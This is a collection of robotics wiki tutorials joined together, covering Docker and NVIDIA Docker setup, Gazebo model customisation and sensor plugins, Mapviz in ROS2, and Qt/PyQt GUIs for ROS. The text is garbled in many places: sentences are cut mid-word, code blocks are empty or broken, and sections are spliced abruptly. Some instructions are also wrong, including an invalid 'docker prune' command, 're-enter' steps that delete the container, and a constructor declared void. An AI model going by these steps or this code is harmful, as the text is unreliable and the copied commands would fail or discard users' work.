Check that it's running: - -```sh -$ sudo systemctl status docker -``` - -If the Docker is properly installed, the above command will output something similar to the following: - -```sh -● docker.service - Docker Application Container Engine - Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled) - Active: active (running) since Tue 2019-05-07 14:01:38 EDT; 25min ago - Docs: https://docs.docker.com - Main PID: 2112 (dockerd) - Tasks: 42 - Memory: 107.3M - CPU: 1.460s - CGroup: /system.slice/docker.service - └─2112 /usr/bin/dockerd -H fd:// -``` - -## Setup Nvidia Docker: - -For Projects having different versions of software packages like tensorflow, Docker helps to keep a uniform version across various machines so incompatibility issues wouldn't arise. This section will highlight how to use Nvidia docker for your project. - -Ensure that your system is able to access the GPU using the following command: - -```sh -$ nvidia-smi -``` - -The above command should display the system's GPU information. If the above doesn't display the system's GPU information, run the following command to detect the presence of GPU: - -```sh -$ lspci | grep -i nvidia -``` - -Failure of any of the above command indicates that the NVIDIA GPU is not installed into the system. You may want to follow this tutorial to install NVIDIA drivers [install_nvidia_driver](). - -Now, we need to install package repositories. - -``` -$ curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | \ sudo apt-key add -distribution=$(. /etc/os-release;echo $ID$VERSION_ID) -$ curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | \ - sudo tee /etc/apt/sources.list.d/nvidia-docker.list -$ sudo apt-get update -``` - -Install NVIDIA docker-2 and reload daemon configuration - -``` -$ sudo apt-get install -y nvidia-docker2 -$ sudo pkill -SIGHUP dockerd -``` - -Test Installation with CUDA Docker image: - -``` -$ docker run --runtime=nvidia --rm nvidia/cuda:9.0-base nvidia-smi -``` - -## Running Your First Docker Container: - -Now, let's dive into using Docker for your project - -Docker containers are run from Docker images. By default, it pulls these images from Docker Hub. Anybody can build and host their Docker images on Docker Hub, so most applications and Linux distributions you'll need to run Docker containers have images that are hosted on Docker Hub. - -We will begin with a simple 'Hello Docker' program. Run the following command: - -```sh -$ docker run hello-world -``` - -You should see the following output: - -```sh -Hello from Docker! -This message shows that your installation appears to be working correctly. - -To generate this message, Docker took the following steps: - 1. The Docker client contacted the Docker daemon. - 2. The Docker daemon pulled the "hello-world" image from the Docker Hub. - to your terminal. -``` - -## Basic Docker Usage: -Docker has three main types of objects that you need to be familiar with - Dockerfiles, images, and containers. - -### Make A Dockerfile - -### Build A Docker Image -After you have made a Dockerfile, it can be built into a docker image, which is simply a compiled version of the Dockerfile. Execute the following command from the same folder that the Dockerfile is in. -```sh -sudo docker build -t {IMAGE_NAME}:{IMAGE_TAG} . -``` -Here {IMAGE_NAME} is the name of your image, and {IMAGE_TAG} specifies a version. If you are not interested in keeping track of version you can simply set {IMAGE_TAG} to be "latest". It is important that you remember the {IMAGE_NAME} and {IMAGE_TAG} you use because you will need it to run a container. - -### Run A Docker Container -To make a container from you image, run -```sh -sudo docker run -it --name {CONTAINER_NAME} {IMAGE_NAME}:{IMAGE_TAG} -``` -This will create a docker container named {CONTAINER_NAME} using the image and tag that was just created. You should now be in your new docker and be able to execute shell commands in it. - -### Exit A Docker Container -To leave the container, terminate the shell process. -```sh -exit -``` - -### Re-enter A Docker Container -```sh -sudo docker rm {CONTAINER_NAME} -sudo docker run -it --name {CONTAINER_NAME} {IMAGE_NAME}:{IMAGE_TAG} -``` - -## Other Useful Docker Features -### Running Multiple Processes -If you have a container that is running and you want to run another process in that container you can use `docker exec`. Note that this must be done from the operating system and NOT from within the docker container. For example, to launch another shell you would use -```sh -sudo docker exec {CONTAINER_NAME} /bin/bash -``` -### Persistent Storage Across Container Cycles -Chances are you want to have persistent access to data in a docker container. One the easiest ways to do this using a docker volume. This will add a folder to your docker container that will persist after the container is deleted. To do this, add the `-v` argument to `docker run` -```sh -sudo docker run -it --name {CONTAINER_NAME} -v {LOCAL_DIR}:{CONTAINER_DIR} {IMAGE_NAME}:{IMAGE_TAG} -``` -This will create a folder called {CONTAINER_DIR} inside the container that will also exist at {LOCAL_DIR} on your operating system. The data in this folder will persist after a container is deleted and can be used again when another container is started. -### See All Running Docker Containers -### Delete Unnecessary Containers and Images. -When you are first creating your docker file you may end up with many unused images. You can get rid of them using the following command -```sh -sudo docker prune -``` - -## Common Docker Issues On Ubuntu and Their Fixes -### Build fails because software cannot properly use debconf -Debconf is something that helps software configure itself while it is being installed. However, when a Dockerfile is being built the software cannot interact with debconf. To fix this, add this line to your Dockerfile before you the line that causes the debconf error -``` -``` -Add the following arguments when you use run -``` --e DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix --net=host --privileged -``` -### The terminal prompt is not properly highlighted -The terminal prompt, which is the PS1 environment variable, is set by the bashrc file. The default file may not properly enable or has logic built in which disables it. To get around it, add this to your Dockerfile -``` -RUN echo "PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> ~/.bashrc -``` - - -To Create docker files for your project, you can follow the tutorial [here]() - -## Further Reading: -1. Create your very own Docker image: https://www.scalyr.com/blog/create-docker-image - -2. Create Docker containers, services, swarms, stacks for your application: https://docs.docker.com/get-started - -3. Deploy Docker containers in AWS: https://aws.amazon.com/getting-started/tutorials/deploy-docker-containers - -4. Docker Images inventory: https://hub.docker.com/search/?type=image - -## References: -1. About Docker: https://docs.docker.com - -2. NVIDIA Docker: https://github.com/NVIDIA/nvidia-docker - -3. Creating your own Dockerfile: https://www.youtube.com/watch?v=hnxI-K10auY - -4. Docker file reference: https://docs.docker.com/engine/reference/builder - -5. Docker CLI reference: https://docs.docker.com/engine/reference/commandline/cli/ - -6. Docker Volumes: https://docs.docker.com/storage/volumes/ - - -/wiki/tools/gazebo-simulation/ ---- -date: 2020-04-24 -title: Gazebo Simulation ---- -This is a tutorial for Gazebo, including how to customize a model and use a sensor plug-in. - -## Introduction - -What's Gazebo anyway? - -From Gazebo’s tutorials homepage: ->Gazebo is a 3D dynamic simulator with the ability to accurately and efficiently simulate populations of robots in complex indoor and outdoor environments. While similar to game engines, Gazebo offers physics simulation at a much higher degree of fidelity, a suite of sensors, and interfaces for both users and programs. - ->Typical uses of Gazebo include: ->* testing robotics algorithms, ->* designing robots, ->* performing regression testing with realistic scenarios -> ->A few key features of Gazebo include: ->* multiple physics engines, ->* a rich library of robot models and environments, ->* a wide variety of sensors, ->* convenient programmatic and graphical interfaces - -This is particularly useful when we want to develop systems on robots, but we don’t always have the hardware around, or we don’t want to damage the robot with some potentially incorrect algorithms. Gazebo simulation could be our best friend in a way that we can simulate our robots, sensors, and to test algorithms in it. What’s more, we can launch Gazebo in a ROS launch file and pass in relevant parameters, which makes our life much easier. - -## Outline -* Import a Model into Gazebo World -* Customize a Model -* Sensor Plugins for Gazebo-ROS Interface - -### Import a Model into Gazebo World -To import a model inside a Gazebo world, one can simply open Gazebo, navigate to the `insert` tab at the top left corner, and use your mouse to drag models into the scene. -However, if you want to import a customized model that is not under the default gazebo model path, this is what you should do. Add this following line in the launch file that is opening the Gazebo simulation so that Gazebo could recognize the models under a specific directory. (In this example, the model is defined in the package `autovalet_gazebo`) -``` - -``` -One could also directly write codes in a .world file to insert a model. It is in URDF format, but it is not as straightforward as dragging an object in the GUI. - -### Customize a Model -Sometimes, you might want to change some parts of the gazebo built-in models or simply create a new one from scratch. To create a new one, one can follow this [official tutorial](http://gazebosim.org/tutorials?tut=build_model) of Gazebo. However, if you were to modify some parts of an existing model, what could you do? For example, if we need a ground plane model with a customized ground image, we can follow [this tutorial](http://answers.gazebosim.org/question/4761/how-to-build-a-world-with-real-image-as-ground-plane/). We want to put all associated files under a `/models` directory specifically for Gazebo. Let’s take a look at an example model file structure. -``` -~/catkin_ws/src/autovalet/autovalet_gazebo/models/cmu_ground_plane$ tree -.g -├── materials -│ ├── scripts -│ │ └── cmu_ground_plane.material -│ └── textures -│ ├── garage.png -├── model.config -└── model.sdf -``` - -You might notice that the default model path for Gazebo is -`~/.gazebo/models/cmu_ground_plane`, but instead, we here put our customized model at a different path `autovalet/autovalet_gazebo/models`, which is under our ROS package. This is a good practice since one would not want to mess up default models and self-defined models in the same directory. -The key here is to put the desired image file under `/materials/textures` and modify the image filename correspondingly in `/scripts/cmu_ground_plane.material`. - -### Sensor Plugins for Gazebo-ROS Interface -*Requirement*: Validating algorithms that are in the development stage on actual hardware is risky and time-consuming. Moreover, frequent operation of the robot is limited due to power, logistics and pandemic constraints. For example, in our case (MRSD ‘19-’21 AutoValet), with the environment in Gazebo. The [gazebo_ros](http://wiki.ros.org/gazebo_ros) package provides a link between ROS topics and the Gazebo environment. - - -*Setup: Velodyne Puck* -_Source: DataSpeed Inc._ -In order to set up the plugin, clone the referred repository into the src of your catkin_ws and build the package using catkin_make. - -``` -cd path/to/catkin/workspace/src -git clone https://bitbucket.org/DataspeedInc/velodyne_simulator/src/master/ -mv master vlp16_simulator -cd .. && catkin_make -``` - -To include the senor in your robot, add the following line in your URDF inside the robot tag. -`` - -This includes the URDF xacro of the sensor which includes information on physical dimensions and link to the plugin src code. - -After, including the sensor, we need to define a static link between the sensor and a previ -In order to use the modified version, you need to pull [their version](https://github.com/pal-robotics-forks/realsense/tree/upstream) of the RealSense ROS package as compared to the [intel version](https://github.com/IntelRealSense/realsense-ros). This is because their version has a modified URDF for the d435 xacro which includes the [plugin parameters](https://github.com/pal-robotics-forks/realsense/blob/upstream/realsense2_description/urdf/_d435.gazebo.xacro). Ensure that you do not have a standard version of the RealSense package. A simple check would be to execute: - -`sudo apt-get remove ros-kinetic-realsense-*` -(P.S: It also removes a few extra packages. Ensure it doesn’t remove anything you require. Worst case you can reinstall the removed ones after this command) - -Pull and build their package in your catkin workspace. Ensure you have already installed the librealsense SDK from [here](https://github.com/IntelRealSense/librealsense/blob/master/doc/distribution_linux.md#installing-the-packages). The librealsense library has build issues for NVIDIA Jetsona and similar ARM processors - stay away from those if you intend to use realsense and vice versa. If there’s no other way and you have to run it on a Jetson, there is another post on rkb that can help. - -``` -cd path/to/catkin/workspace/src -git clone https://github.com/pal-robotics-forks/realsense.git -cd realsense -git checkout upstream -cd .. && catkin_make -``` - -Having built the package, we set up the robot’s URDF as below to mount and publish the sensor stream. Inside the robot tag of your robot_description launch file include the modified xacro of the RealSense. Also set up the link w.r.t an existing frame on your - - -``` - -To update the parameters such as topic to publish, rate, and depth limits, you can modify the end of [this](https://github.com/pal-robotics-forks/realsense/blob/upstream/realsense2_description/urdf/_d435.gazebo.xacro) file in the realsense_description package. -![Image of rviz plugin](http://www.contrib.andrew.cmu.edu/~szuyum/mrsd/rviz_realsense_gazebo.png) -*Fig. 2: Camera image and point cloud published by the plug-in.* - -## Summary -We have covered several aspects in Gazebo, including importing and customizing a model into a Gazebo world, and to implement plugins for the sensors as well as define the URDF files so that messages would be published accordingly. These two components are crucial when we want to start a ROS simulation using Gazebo. - -## See Also: -* [Visualization and Simulation](https://roboticsknowledgebase.com/wiki/tools/visualization-simulation/) -ound-plane/> -* Build a model in Gazebo: - - -/wiki/tools/mapviz/ ---- -date: 2022-12-07 -title: Mapviz for Map Based Visualization in ROS2 ---- -Mapviz is a highly customizable ROS-based visualization tool focused on large-scale 2D data, with a plugin system for extreme extensibility. Mapviz is similar to Rviz, but is specifically designed for 2D, top-down viewing of outdoor robots, especially in overlaying data on an external map from OpenStreetMaps or Google maps. - -This tutorial will explain how to setup Mapviz for ROS2 along with Google Maps s - ros-$ROS_DISTRO-multires-image -``` - -In case, its not available or you need to build it from source, you can do so with the following steps: - -1. Clone the latest version of the repository using the most recent branch into your `src` folder inside your workspace. At the time of writing the latest branch was `ros2-devel`. -```bash -git clone -b ros2-devel https://github.com/swri-robotics/mapviz.git -``` -2. Build the workspace -```bash -colcon build --symlink-install --packages-select mapviz_interfaces mapviz mapviz_plugins tile_map multires_image -``` - -## Setting up Google Maps Satellite -This part of the tutorial uses the following repo [GitHub - danielsnider/MapViz-Tile-Map-Google-Maps-Satellite: ROS Offline Google Maps for MapViz](https://github.com/danielsnider/MapViz-Tile-Map-Google-Maps-Satellite) to proxy Google Maps satellite view into a WMTS tile service so that it can be viewed on Mapviz. - -The following are the steps to set it up, such that this service autostart on boot. - -1. Install Docker - ```bash - sudo apt install docker.io - sudo systemctl enable --now docker - sudo groupadd docker - sudo usermod -aG docker $USER - ``` - Launch Mapviz - ```bash - ros2 launch mapviz mapviz.launch.py - ``` - - 1. You can then add a new layer to the map by clicking on the add button on the bottom left corner of the map. - 2. Add a new `map_tile` display component - 3. In the `Source` dropdown select `Custom WMTS source` - 4. Set the `Base URL` to `http://localhost:8080/wmts/gm_layer/gm_grid/{level}/{x}/{y}.png` - 5. Set the 'Max Zoom' to 19 - 6. Click `Save` - - The map should now load up with Google Maps satellite view. This may take some time initally. - -## Advanced Setup - -1. Create a custom launch file -You can create a custom launch file to load Mapviz with a custom configuration and initalize to a custom origin by default. - - ```python - import launch - from launch.actions import DeclareLaunchArgument - from launch.substitutions import LaunchConfiguration, PathJoinSubstitution - from launch_ros.actions import Node - from launch_ros.substitutions import FindPackageShare - - - def generate_launch_description(): - current_pkg = FindPackageShare('your_package_name') - - return launch.LaunchDescription( - package='mapviz', - executable='mapviz', - name='mapviz', - output={'both': 'log'}, - 'local_xy_origins': """[ - {'name': 'pitt', - 'latitude': 40.438889608527084, - 'longitude': -79.95833630855975, - 'altitude': 273.1324935602024, - 'heading': 0.0} - ]""" - }, - ], - ), - ] - ) - ``` - - This will find the share directory of your package. This generally where all configs are stored for ROS2 packages. - - ```python - current_pkg = FindPackageShare('your_package_name') - ``` - - Using this we can load the custom Mapviz config. This line assumes by default the config file is stored in the `mapviz` folder of your package and is named `mapviz.mvc`. - ```python - DeclareLaunchArgument( - 'mapviz_config', - default_value=PathJoinSubstitution([current_pkg, 'mapviz', 'mapviz.mvc']), - description='Full path to the Mapviz config file to use', - ), - ``` - - This will load the Mapviz node with the custom config file and ensure that autosave is disabled. - ```python - Node( - package='mapviz', - executable='mapviz', - name='mapviz', - output={'both': 'log'}, - parameters=[ - {'config': LaunchConfiguration('mapviz_config'), 'autosave': False} - ], - ), - ``` - - This will load the `initialize_origin.py` node which will initialize the origin - For this example we will set the origin to the name `pitt` which is the name of the origin in the `local_xy_origins` parameter. This sets it to a specific location in Pittsburgh, PA. - - ```python - Node( - package='mapviz', - executable='initialize_origin.py', - name='initialize_origin', - parameters=[ - {'local_xy_frame': 'map'}, - {'local_xy_navsatfix_topic': 'gps/fix/origin'}, - {'local_xy_origin': 'auto'}, - { - 'local_xy_origins': """[ - {'name': 'pitt', - 'latitude': 40.438889608527084, - 'longitude': -79.95833630855975, - 'altitude': 273.1324935602024, - 'heading': 0.0} - ]""" - }, - ], - ) - ``` - -1. Setting the origin to the current GPS location - - The following script subscribes the current GPS location and re-publishes the first GPS coordinate it recieves as the origin on the topic `gps/fix/origin`. - - Incase you are using the `robot_localization` package to fuse GPS, it also calls the `SetDatum` service offered by the `robot_localization` package to set the datum of the robot_localization node. - This is necessary to ensure that the robot_localization node is using the s - from rclpy.node import Node - from rclpy.qos import ( - qos_profile_sensor_data, - QoSDurabilityPolicy, - QoSHistoryPolicy, - QoSProfile, - ) - - from robot_localization.srv import SetDatum - from sensor_msgs.msg import NavSatFix, NavSatStatus - - - class GpsDatum(Node): - """ - Republishes the first valid gps fix and sets datum in robot_localization. - - Subscribes and stores the first valid gps fix, then republishes it as the - origin. Also calls SetDatum service offered by robot_localization. - - """ - - def __init__(self): - super().__init__('gps_datum') - - self.gps_datm_msg_ = None - self.rl_datum_future_ = None - self.rl_datum_set_ = False - history=QoSHistoryPolicy.KEEP_LAST, - depth=1, - ), - ) - - # Need to use a timer since latching behaviour doesn't behave like ROS1 - # https://github.com/ros2/ros2/issues/464 - timer_period_ = 1.0 - self.timer_ = self.create_timer(timer_period_, self.timer_callback) - - self.rl_datum_client = self.create_client(SetDatum, 'datum') - self.get_logger().info('Waiting for robot_localization datum service') - self.rl_datum_client.wait_for_service() - self.get_logger().info('robot_localization datum service now available') - - def sub_gps_cb(self, msg): - if msg.status.status == NavSatStatus.STATUS_NO_FIX: - return - self.gps_datm_msg_ = msg - self.get_logger().info('Successfully set origin. Unsubscribing to gps fix') - self.destroy_subscription(self.sub_gps_) - - def timer_callback(self): - if self.gps_datm_msg_ is None: - return - self.pub_gps_datum_.publish(self.gps_datm_msg_) - self.send_rl_request() - - def send_rl_request(self): - if self.rl_datum_set_ or self.gps_datm_msg_ is None: - return - - if self.rl_datum_future_ is None: - req = SetDatum.Request() - req.geo_pose.position.latitude = self.gps_datm_msg_.latitude - req.geo_pose.position.longitude = self.gps_datm_msg_.longitude - req.geo_pose.position.altitude = self.gps_datm_msg_.altitude - req.geo_pose.orientation.w = 1.0 - self.get_logger().info( - 'Sending request to SetDatum request to robot_localization' - ) - self.rl_datum_future_ = self.rl_datum_client.call_async(req) - else: - if self.rl_datum_future_.done(): - try: - self.rl_datum_future_.result() - except Exception as e: # noqa: B902 - self.get_logger().info( - 'Call to SetDatum service in robot_localization failed %r' - % (e,) - ) - else: - self.get_logger().info('Datum set in robot_localization') - self.rl_datum_set_ = True - - - def main(args=None): - rclpy.init(args=args) - - gps_datum = GpsDatum() - - rclpy.spin(gps_datum) - - gps_datum.destroy_node() - rclpy.shutdown() - - - if __name__ == '__main__': - main() - ``` - -2. Custom Configuration - - Below is an example configuration file mentioned above as `mapviz.mvc` for Mapviz. This loads the Google Maps Satellite layer and shows the GPS location published on the `/gps/fix` topic. - - ``` - capture_directory: "~" - fixed_frame: map - target_frame: - fix_orientation: false - rotate_90: true - enable_antialiasing: true - show_displays: true - show_status_bar: true - show_capture_tools: true - window_width: 1848 - window_height: 1016 - view_scale: 0.09229598 - offset_x: 0 - offset_y: 0 - use_latest_transforms: true - background: "#a0a0a4" - image_transport: raw - displays: - - type: mapviz_plugins/tile_map - name: Map - config: - visible: true - collapsed: true - custom_sources: - - base_url: http://localhost:8080/wmts/gm_layer/gm_grid/{level}/{x}/{y}.png - max_zoom: 19 - name: GMaps - type: wmts - - base_url: https://tile.openstreetmap.org/{level}/{x}/{y}.png - max_zoom: 19 - name: OSM - type: wmts - bing_api_key: "" - source: GMaps - - type: mapviz_plugins/navsat - name: INS Location - config: - visible: true - collapsed: true - topic: /gps/fix - color: "#fce94f" - draw_style: points - position_tolerance: 0.5 - buffer_size: 0 - show_covariance: true - show_all_covariances: false - ``` - - -/wiki/tools/qt-creator-ros/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2021-04-02 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Qtcreator User-Interface with ROS -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -Qtcreator is a popular user interface integrated development environment (IDE) that can interface easily with ROS. It supports multiple platforms, such as x86 desktop, arm-based embedded devices, and mobile platforms such as Android and iOS. However, this tutorial will focus on using this tool to create a user interface with ROS integrated in it. - - #### Why use [Qtcreator](https://doc.qt.io/qtcreator/index.html) and not [ROS Qt (rqt)](http://wiki.ros.org/rqt) - -rqt is great for 'quick and dirty' UI where-by you can fix together different plugins (or make your own plugin) in a dockable window. However, if you want to make highly customized UI with your own graphics asset, animation, and granular control, creating a Qt application is a better option. - -# Installation - -Do not install the standard Qtcreator from their [website](https://www.qt.io/), this version is meant for the more generic version of Qt for all application. We want instead to install the Qtcreator that has been tailored for ROS development. - -## Requirements - -- Ubuntu 18.04 LTS (please check what is available in this [website](https://ros-qtc-plugin.readthedocs.io/en/latest/_source/How-to-Install-Users.html)) -- [ROS Melodic Desktop Full](http://wiki.ros.org/melodic/Installation/Ubuntu) (if using Ubuntu 18.04 LTS) - -## Installation Steps - -- Download the online installer for Users (not Developers). This is the latest [link](https://qtcreator-ros.datasys.swri.edu/downloads/installers/bionic/qtcreator-ros-bionic-latest-online-installer.run) for Ubuntu 18.04 but I suggest to Google `qtcreator ros install` yourself and download the latest stable release - -- Run the installer through the command line terminal, e.g. if you download it to your ~/Downloads folder - - ```bash - $ chmod +x ~/Downloads/qtcreator-ros-bionic-latest-online-installer.run - $ ~/./Downloads/qtcreator-ros-bionic-latest-online-installer.run - ``` - -- Select all the default configuration in the setting window. It should install Qtcreator at your home directory - -- Test your installation by launching the program - -```bash -$ qtcreator-ros -``` - -A program window should open similar to this: - -![Image result for qtcreator](https://assets.linuxhelp.com/scr/aa8edae3c49d998a7eace05a067e3881.png) - -## Installation Troubleshooting - -1. Qt library files not found - - if you see this error when launching `qtcreator-ros`: - - ```bash - error while loading shared libraries: libQt5Core.so.5 cannot open object file: No such file or directory. - ``` - - whereby a Qt .so file is not found, this means that either: - - - You used the wrong installer file (the default qtcreator instead of qtcreator-ros for example, or the wrong Ubuntu version) - - You accidentally removed Qt library files. These should have been installed automatically when you installed ROS Melodic through the command `sudo apt install ros-melodic-desktop-full`. One possibility is that you used the Qt MaintenanceTool and selected `Remove all components` - -## Make your own Hello World example - -This section will guide you to create your first simple Hello-World Qt program - -1. Run the `qtcreator-ros` application - -2. Create new project using `File -> New File or Project -> Application -> Qt Widgets Application` - - ![](/assets/images/tools/Qtcreator-ros-new-project.png) - -3. Name your project/application - - ![](/assets/images/tools/Qtcreator-ros-new-project-menu.png) - -4. If you installed correctly, the Kit will be detected automatically, if not this [link](https://stackoverflow.com/questions/26499404/qtcreator-no-valid-kits-found) might be useful - - ![](/assets/images/tools/Qtcreator-ros-new-project-kit.png) - -5. Name your main class. Although this is not the main function, it acts as the entry point of the application - - ![](/assets/images/tools/Qtcreator-ros-new-project-class-menu.png) - -6. Select finish - -7. A project folder should be created, you can navigate with the menu on the left side. - -8. Click the green arrow at the bottom left side or use `Ctrl + R` to build and run. You should see a blank application window like this one - - ![](/assets/images/tools/Qtcreator-ros-new-project-run.png) - -9. Close the program by clicking on the red cross on the `MainWindow` window. and navigate to the `mainwindow.ui` file under `Forms` on the left menu. It will automatically switch to the `Design` tab and open this UI editor tool - - ![](/assets/images/tools/Qtcreator-ros-new-project-design.png) - -10. The left menu is now switched to the basic UI widgets available. You can put them through drag and drop. Try to drag and drop these 4 types of widgets: - - 1. `Buttons -> Push Button` - 2. `Input Widgets -> Line Edit` - 3. `Display Widgets -> Label` - 4. `Display Widgets -> Text Browser` - - ![](/assets/images/tools/Qtcreator-ros-new-project-ui-elements.png) - -11. Some of the widgets have text that is displayed on them such as the `Label` and `Push Button`, you can double-left-click on them and edit the display text - - ![](/assets/images/tools/Qtcreator-ros-new-project-edit-text.png) - -12. On the right menu you should see a summary of all the objects and widgets that you have created. Here we can see the 4 widgets we added. An important distinction here is that the left column is the name of the object (unique entity) and the right column is the class name (not unique). Hence, you can have multiple labels, but these are based on `QLabel` class - - ![](/assets/images/tools/Qtcreator-ros-new-project-ui-obj.png) - -13. To drive the point home, try to rename the objects. It is advisable to give it mear a new message is received. - -There is no need to create a signal/slot object like in ROS, when you create any a class whose parent class is a QtObject, the inherited class will have the signal/slot capabilities. Signals and slots are represented as functions in a class. For example: - -```C++ -class AClass : public QObject { - Q_OBJECT -public: - AClass() {} -signals: - void mySignal1(int); - void mySignal2(float, int); - void mySignal3(); -public slots: - void mySlot1(double); - void mySlot2(); -private: - int memberVar; -}; -``` - -Let's take a more concrete example between two classes, one of them is the class above `AClass` and another `BClass` as defined below: - -```C++ -class BClass : public QObject { - Q_OBJECT -public: - BClass(); - void run(); -signals: - void mySignalFromB(double); -public slots: - -private: - AClass* aClass; -}; - -void BClass::BClass() { - aClass = new AClass(); - connect(this, SIGNAL(mySignalFromB(double)), aClass, SLOT(mySlot1(double))); -} - -void BClass::run() { - std::cout << "B: sending signal from B" << std::endl; - double var = 1.0; - emit mySignalFromB(1.0); -} - -void AClass::mySlot1(double msg) { - std::cout << "A: receiving signal from B to slot in A" << std::endl; - std::cout << "message value: " << msg << std::endl; -} - -int main() { - BClass bClass; - bClass.run(); - return 0; -} -``` - -The output of this program will be - -```bash -B: sending signal from B -A: receiving signal from B to slot in A -message value: 1.0 -``` - -#### Summary of important components in Qt communication - -- signals are functions that send an argument that will be received by a slothe `connect` function by specifying the source object address, signal function, destination object address, and slot function -- Use the `emit` command to send signals - -You can read more about it [here](https://doc.qt.io/qt-5/signalsandslots.html) - -## How to integrate ROS in Qt application - -Most GUIs have some sort of a while loop to continuously process the GUI and Qt works in a similar fashion. Therefore, you can't put `ros::spin()` inside the main function as you would normally do in a ROS node as the thread will be busy processing the GUI. - -The approach we will take is to create a ROS node to handle the publishing and subscription, instantiate them in the `mainwindow.cpp` class and send them to be processed concurrently on different threads. - -### Steps: - -1. Add ROS include in the .pro file - - The project's .pro file is analogous to CMakeLists.txt where you specify dependencies. Here's a sample of the libraries you need for ROS development - - ```C++ - QT += core gui - - greaterThan(QT_MAJOR_VERSION, 4): QT += widgets printsupport - - INCLUDEPATH += /opt/ros/melodic/include - - LIBS += -L/opt/ros/melodic/lib -lroscpp -lroslib -lrosconsole -lroscpp_serialization -lrostime -lrviz - ``` - -2. `ros::NodeHandle` will be created as a member of the `mainwindow` class, do not create new one elsewhere - -3. Create a class for subscriber: - - 1. It will have a pointer to a nodehandle (`ros::NodeHandle`) as a member, and the address of the nodehandle object will be passed to this member variable in the constructor - - 2. It will have a slot function that initializes the `ros::Subscriber` and a while loop that runs `emit` signals and `ros::spinOnce()` - - ```C++ - // run ROS - ros::Rate loop_rate(20); - while (ros::ok()) { - emit signal_data_callback(msg.data); - - ros::spinOnce(); - loop_rate.sleep(); - } - ``` - -4. Create a class for publisher - - 1. It will have a pointer to a nodehandle (`ros::NodeHandle`) as a member, and the address of the nodehandle object will be passed to this member variable in the constructor - 2. It will have a slot function that runs the `publish()` function - -5. Edit the `MainWindow` class, this is where most of the action happens - - 1. Create a `ros:NodeHandle`, a pointer that handles the subscriber/publisher class that you made, and `QThread` objects for each of your subscriber/publisher class - - ```C++ - private: - Ui::MainWindow *ui; - ros::NodeHandle nh_; - SubscriberNode *p_subscriber_node_; - PublisherNode *p_publisher_node_; - - QThread p_subcriber_node_thread_; - QThread p_publisher_node_thread_; - ``` - - 2. Create slots for your GUI elements by right clicking on them in the edit window --> `Go to slot...`, this will create a member function - - ```C++ - private slots: - void on_Button_clicked(); - ``` - - 3. Create slots to receive messages from your subscriber class as a member function, add the data type as the function parameter (e.g. float, int, bool) - - ```C++ - private slots: - void slot_msgFb(float); - ``` - - 4. Create signals to send messages to your publisher class as a member function, add the data type as the function parameter (e.g. float, int, bool) - - ```C++ - signals: - void sigSignal(float); - ``` - - 5. Use the `connect` function to connect slots and signals together in the class constructor - - ```C++ - connect(this, SIGNAL(sigSignal(float)), p_publisher_node_, SLOT(slotSignal(float))); - ``` - - 6. Move the subscriber and publisher class to the `QThread` that you made - - ```C++ - publisher_class_ptr->moveToThread(&publisher_class_thread); - publisher_class_thread.start(); - ``` - - 7. Call `emit` signals and write your logic in `slot` functions accordingly - - ```C++ - emit sigSignal(5.0) - ``` - -## Summary -Qt is a tool to create custom GUI that can integrate with ROS directly. It is slightly complicated to learn and use, but it provides a very tight integration. - - -/wiki/tools/ros-gui/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2023-05-02 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Framework GUI for robotic system using ROS -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. -## Requirements - -- This application assumes your workspace has ROS installed. If not, use [this link](http://wiki.ros.org/ROS/Installation) for installing ROS. - -- This application can be used on any Operating System including Linux, Windows and Mac. - -- This application can be used with ROS1 and ROS2. - - -### Installation - -To use PyQt5, open a terminal and type the following command - -```bash -$ pip install PyQt5 -``` - -## Overview of Final Application - -This is the final application you can get by following this tutorial. Blocks that require customization will be explained in the documentation. - -![Final QT](/assets/images/tools/PyQt-final.png) - -## Application Walkthrough - -### Timers - -The application has two timers - -1. System level timer: allows you to keep track of your entire system's operation time. - -2. Task level timer: allows you to keep track of a specific task's operation time. - -### System Level Timer - -The system level timer captures the time taken between the start and the end of your system. This can be done by pressing the 'Start System Timer' button. Clicking it once begins the timer and clicking it again stops the timer. The color of the timer will change based on the ` color_change_times ` and ` color_change_colors` defined in the full code at the bottom of this tutorial. This can be modified to suit your system's requirements. - -The color change for the timers are as follows: - -Green Button -![Green Button](/assets/images/tools/PyQt-green.png) -Yellow Button -![Yellow Button](/assets/images/tools/PyQt-yellow.png) -Orange Button -![Orange Button](/assets/images/tools/PyQt-orange.png) -Red Button -![Red Button](/assets/images/tools/PyQt-red.png) - -The code block for this is given here: -```python -def SystemTimerBlock(self): - self.system_count = 0 - self.system_start = False - self.system_end = False - - self.system_timer_button = QPushButton("Start System Timer", self) - self.system_timer_button.setFixedSize(self.win.frameGeometry().width(),self.win.frameGeometry().height()//4) - self.grid.addWidget(self.system_timer_button, 0, 2) - self.system_timer_button.clicked.connect(self.system_timer_controller) - - system_timer = QTimer(self) - system_timer.timeout.connect(self.system_timer) - system_timer.start(1000) # modify to match system needs -``` - -### Task Level Timer - -The task level timer captures the time taken between the start and the end of one task. This can be done by pressing the 'Start Task Timer' button. This button also changes color when the time taken to perform a task is reaching the total allowed time. - -One additional feature of the task level timer is it saves the task logs. These are outputted in the `Task Times` block that is directly below the button. - -![Red Button](/assets/images/tools/PyQt-logs.png) - -``` -def TaskTimerBlock(self): - self.task_times = {} - self.task_count = 0 - self.task_start = False - self.task_end = False - - self.task_timer_button = QPushButton("Start Task Timer", self) - self.task_timer_button.setFixedSize(self.win.frameGeometry().width(),self.win.frameGeometry().height()//4) - self.grid.addWidget(self.task_timer_button, 1, 2) - self.task_timer_button.clicked.connect(self.task_timer_controller) - - task_timer = QTimer(self) - task_timer.timeout.connect(self.task_timer) - 